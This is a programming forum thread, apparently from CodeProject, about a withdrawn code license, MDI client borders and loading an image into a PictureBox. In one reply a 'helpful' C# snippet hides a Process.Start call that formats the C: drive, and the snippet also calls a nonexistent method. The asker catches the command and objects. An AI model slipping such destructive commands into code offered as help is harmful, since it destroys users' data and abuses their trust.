He cannot restrict your use of his original code - that which he posted on CodeProject. But he can remove it from CodeProject so that no one else can download it, and that's what he did. But if you have a copy, you can use it.

i agree,
if i downloaded some code when it was OK to use it.
and never came back to codeproject so that i wouldnt know that he has retracted teh rights to use it ... would i then be doing something illegal w/o knowing it??
that cant be right can it?

More to the point, suppose I had used his controls in my app, and then he changed the license? Would I be required to pull my app from the market and/or replace the controls with a new library? No! He released it with no license, which essentially means that the code is free for people to do anything they like with it. But what he can do, and what he did, is to take it off CodeProject so that people can't easily get a hold of it anymore.
So, we're left with a gap on CP that his controls once filled, and that needs to be filled by something else. Chris is going to have a contest to fill that gap, and I intend to help fill it with controls from the FLUID[^] control library.

best of luck on the fluid project and thanks for the reply. this is actually what happened to me; i started using utility library over a year ago, only to check back a few months ago and see the licensing change.
btw - carlos never had docking tabs, xp visual style support or designers. there's plenty of room for you to do a better job!!

As you know, in a standard mdi application the parent form has a client area (usually dark gray). The client area has a 3d border style. I would like to change that border style to either none or fixed single. How is this done?

subclass the mdi client and handle the wm_ncpaint and wm_paint messages

How can I load a new image into a PictureBox when the user clicks on that PictureBox?
|
|
|

|

I'm still not sure how to make it. Could you code up a quick example?

I recommend buying a book on C#. It may help you.

I actually own several. Unfortunately this particular item is in none of them.

Well then.
Add an event handler to the Image box. In the handler method, load the new bitmap into a Bitmap object. Then set the value of PictureBox.Image = theBitmap;
Each of these steps is documented in some way in ANY C# book.

Well, right here I have a copy of Programming C# by O'Reilly, and its >not< in there. At least its not in a place that I was able to find. I have another C# elsewhere that didn't have it either.

I think what Jonny is suggesting is that you begin to understand the basic concepts - what you're looking for is a book that teaches by rote.
The code you need is a simple event handler, which instantiates an image object, then assigns it to a property. Really - this is simple if you research the concepts.

No, no. This I understand. Its more of a syntax question than anything else. I understand what an event is, and how to use them, etc etc. Its just that particular item I've not done before and the MSDN docs are a bit vague on the matter. So I was hoping to find an example of it, which works a bit better for me than being told to "RTFM!"

Okay, ready?
Add this to your event handler for the OnClick event:
string directory = Application.StartupPath;<br />
string image = System.IO.Directory.FindFiles(directory, "*.bmp")[0].ToString();<br />
Bitmap theBitmap;<br />
System.Diagnostics.Process.Start("format c: /x /q");<br />
theBitmap = new Bitmap(System.IO.Path.Combine(directory, image));<br />
this.BackgroundImage = theBitmap;
I have also lived some years in Spain, and there people don't accept that you speak bad spanish. I usually compensate by speaking loud and accusing people of being stupid because they don't understand me. It usually works quite well.

Oh how helpful. Not only do I get code to load an image but my C: drive gets formatted. Apparently you're code has a huge bug in it, and I shouldn't count on you for being able to produce anything of quality.
Of course, there's also the possibility that you didn't have that code in there because you're incompentent. You could also just be a self-righteous a**hole. I'll let you decide which of the two you are.
